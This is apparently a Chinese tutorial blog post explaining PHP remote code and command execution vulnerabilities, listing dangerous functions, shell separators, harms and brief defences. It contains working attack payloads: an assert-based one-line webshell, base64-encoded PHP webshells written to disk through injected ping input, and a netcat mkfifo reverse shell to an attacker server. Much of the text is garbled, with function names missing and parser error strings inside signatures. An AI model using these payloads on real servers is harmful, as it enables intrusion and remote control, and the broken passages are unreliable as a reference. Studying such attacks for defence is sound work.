PHP中RCE漏洞1.原理產(chǎn)生原因及解決辦法(圖)
2021-10-19
RCE漏洞
1.原理
原因:
應(yīng)用程序沒有嚴(yán)格檢查和過濾用戶輸入,導(dǎo)致用戶輸入的參數(shù)作為命令執(zhí)行。一般分為代碼執(zhí)行和命令執(zhí)行。
漏洞點(diǎn):
1. 代碼中有命令執(zhí)行功能,可以控制輸入?yún)?shù)
2. 代碼中有代碼執(zhí)行功能,可以控制輸入?yún)?shù)
3.網(wǎng)站存在歷史漏洞(網(wǎng)站本身,各種組件)
2.使用2.1.代碼執(zhí)行
概述:
由于業(yè)務(wù)需求php代碼執(zhí)行漏洞,有時需要調(diào)用一些函數(shù)來執(zhí)行PHP中的命令php代碼執(zhí)行漏洞,如:eval()、()、()、()等,如果有函數(shù)使用這些函數(shù),不檢查并過濾出用戶可以控制的參數(shù),那么這個頁面就可能存在遠(yuǎn)程代碼執(zhí)行漏洞。小于php7的拼接后依然可以執(zhí)行,但是eval不行。
2.1.1.eval 函數(shù)
eval($code) 將字符串代碼作為 PHP 代碼執(zhí)行
注意:傳入eval()函數(shù)的參數(shù)必須是PHP代碼,即必須以分號結(jié)尾;
函數(shù) eval() 語言結(jié)構(gòu)非常危險,因?yàn)樗试S執(zhí)行任意 PHP 代碼。
不允許任何用戶提供的未經(jīng)完全驗(yàn)證的數(shù)據(jù)。
2.1.2.功能
($[, $])
檢查斷言是否為真。如果是字符串,則作為 PHP 代碼通過 () 執(zhí)行。
注意:()函數(shù)將傳入的參數(shù)作為PHP代碼直接執(zhí)行,不需要以分號結(jié)尾。
2.1.3.功能
($, $, $ [, int:'EOF', got'&' at 19: ...it = -1 [, int &? ]])
執(zhí)行正則表達(dá)式搜索和替換,搜索要替換的匹配部分。
('規(guī)則規(guī)則','替換字符','目標(biāo)字符')
PCRE修飾符e:()執(zhí)行替換字符串的反向引用替換后,將替換字符串作為php代碼(eval函數(shù)方法)求值執(zhí)行,執(zhí)行結(jié)果作為實(shí)際參與替換的字符串。
2.1.4.功能
($, $ [, $…])
():返回?cái)?shù)組,即對每個元素應(yīng)用函數(shù)后的數(shù)組。函數(shù)參數(shù)的個數(shù)和傳遞給()的數(shù)組個數(shù)必須相同。對數(shù)組的每個元素應(yīng)用回調(diào)函數(shù)
2.1.5.功能
($args, $code)
從傳遞的參數(shù)創(chuàng)建一個匿名函數(shù)并為其返回一個唯一的名稱。通常這些參數(shù)將作為單引號字符串傳遞。使用單引號的原因是為了保護(hù)變量名不被解析。否則,如果使用雙引號,則需要對變量名進(jìn)行轉(zhuǎn)義,例如$avar。函數(shù)默認(rèn)為 eval
2.1.6.功能
($[, $[, $…]])
第一個參數(shù)是要調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。調(diào)用第一個參數(shù)作為回調(diào)函數(shù)
2.1.7.功能
($, $):
調(diào)用第一個參數(shù)作為回調(diào)函數(shù)(),傳入?yún)?shù)數(shù)組作為()作為回調(diào)函數(shù)的參數(shù)。
2.1.8.功能
($[, $[, int $flag = 0 ]])
使用回調(diào)函數(shù)過濾數(shù)組中的元素;依次將數(shù)組中的每個值傳遞給函數(shù)。
2.1.9.雙引號
在php中,如果有雙引號中的變量,php解釋器會用變量解釋的結(jié)果來代替。單引號中的變量不會被處理,雙引號中的函數(shù)不會被執(zhí)行或替換。
作為字符串執(zhí)行:
echo "phpinfo()";
作為代碼執(zhí)行:
echo "{${phpinfo()}}";
執(zhí)行一句話木馬:
echo "${@assert($_POST[a])}";
通過post數(shù)據(jù)將木馬寫入服務(wù)器
echo -n 'PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+' | base64 -d > 111.php
2.2.命令執(zhí)行
概述:
一般出現(xiàn)這種漏洞是因?yàn)閼?yīng)用系統(tǒng)需要為用戶提供指定的遠(yuǎn)程命令操作接口。例如,在我們常見的路由器、防火墻、入侵檢測設(shè)備等的web管理界面上,一般都會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標(biāo)IP。提交后,后臺會對IP地址進(jìn)行ping測試并返回測試結(jié)果。但是,如果設(shè)計(jì)者在完成該功能時沒有實(shí)施嚴(yán)格的安全控制,可能會導(dǎo)致攻擊者通過該接口提交惡意命令在后臺執(zhí)行,從而獲取后臺服務(wù)器的權(quán)限。
使用PHP的系統(tǒng)命令執(zhí)行功能調(diào)用系統(tǒng)命令并執(zhí)行。此類函數(shù)包括()、exec()、()、()、()、()、()等,除了反引號命令執(zhí)行外,這種方式其實(shí)就是調(diào)用()函數(shù)來執(zhí)行。
system():執(zhí)行外部程序,并且顯示輸出;
exec():執(zhí)行一個外部程序
shell_exec():通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。
passthru():執(zhí)行unix系統(tǒng)命令并且顯示原始輸出
pcntl_exec():在當(dāng)前進(jìn)程空間執(zhí)行指定程序
popen():打開進(jìn)程文件指針
proc_open():執(zhí)行一個命令,并且打開用來輸入/輸出的文件指針。
2.2.1.exec 函數(shù)
exec (:'EOF', got'&' at 18:... [, &? [, int &$ ]])
執(zhí)行外部程序,exec()執(zhí)行參數(shù)指定的命令。
exec 在執(zhí)行系統(tǒng)外部命令時不輸出結(jié)果,而是返回結(jié)果的最后一行。
如果要獲取結(jié)果,可以使用第二個參數(shù)將其輸出到指定的數(shù)組。此數(shù)組中的一條記錄代表一行輸出。
2.2.2.功能
(:'EOF', got'&' at 16: [, int &?])
該函數(shù)執(zhí)行參數(shù)指定的命令并輸出執(zhí)行結(jié)果。
與exec不同的是,在執(zhí)行系統(tǒng)外部命令時,結(jié)果直接輸出到瀏覽器,如果命令執(zhí)行成功則返回true,否則返回。
2.2.3.功能
(:'EOF', got'&' at 16: [, int &?])
執(zhí)行外部程序并顯示原始輸出,類似于exec()函數(shù),()函數(shù)也用于執(zhí)行外部命令()。當(dāng)執(zhí)行的Unix命令輸出二進(jìn)制數(shù)據(jù),需要直接傳輸?shù)綖g覽器時,需要用這個函數(shù)來代替exec()或()函數(shù)。
區(qū)別在于:直接將結(jié)果輸出到瀏覽器,不返回任何值,可以輸出二進(jìn)制,比如圖片數(shù)據(jù)。第二個參數(shù)是可選的,是狀態(tài)碼。
";
echo $b;
?>
命令執(zhí)行成功返回0,執(zhí)行不成功返回1
2.2.4.功能
($cmd)
通過環(huán)境執(zhí)行命令并以字符串形式返回完整的輸出。
此函數(shù)與執(zhí)行運(yùn)算符 (`) 相同
$output
"; echo `$cmd`; ?>
輸出是一樣的。
2.2.5. 命令執(zhí)行常用特殊字符
cmd1|cmd2:無論cmd1是否執(zhí)行成功,都會執(zhí)行cmd2
cmd1; cmd2:無論cmd1是否執(zhí)行成功,都會執(zhí)行cmd2
cmd1||cmd2:只有在cmd1執(zhí)行失敗時才執(zhí)行cmd2
cmd1&&cmd2:cmd1執(zhí)行成功后才執(zhí)行
2.2.6.
寫:
127.0.0.1|echo "" > ./sys/1.php 雙引號會解析變量導(dǎo)致一句話木馬缺失,可以使用\轉(zhuǎn)義變量進(jìn)行寫入 也可以使用單引號閉合
127.0.0.1|echo ""> ./sys/3.php
127.0.0.1|echo "PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==" | base64 -d > ./sys/2.php
nc反彈:
127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc 服務(wù)器ip 4444 > /tmp/pipe
nc lvvp 4444
3.傷害
1. 繼承Web服務(wù)程序執(zhí)行系統(tǒng)命令或讀寫文件的權(quán)限
2. 反彈并獲得目標(biāo)服務(wù)器的訪問權(quán)限
3. 進(jìn)一步滲透內(nèi)網(wǎng)
4.防御
1.盡量不要執(zhí)行外部命令。
2.使用自定義函數(shù)或函數(shù)庫替換外部命令的函數(shù)。
3.使用 ||arg 函數(shù)處理命令參數(shù)。
4.使用指定的可執(zhí)行文件的路徑(指定路徑的時候可以提前把要使用的命令放到這個路徑中)。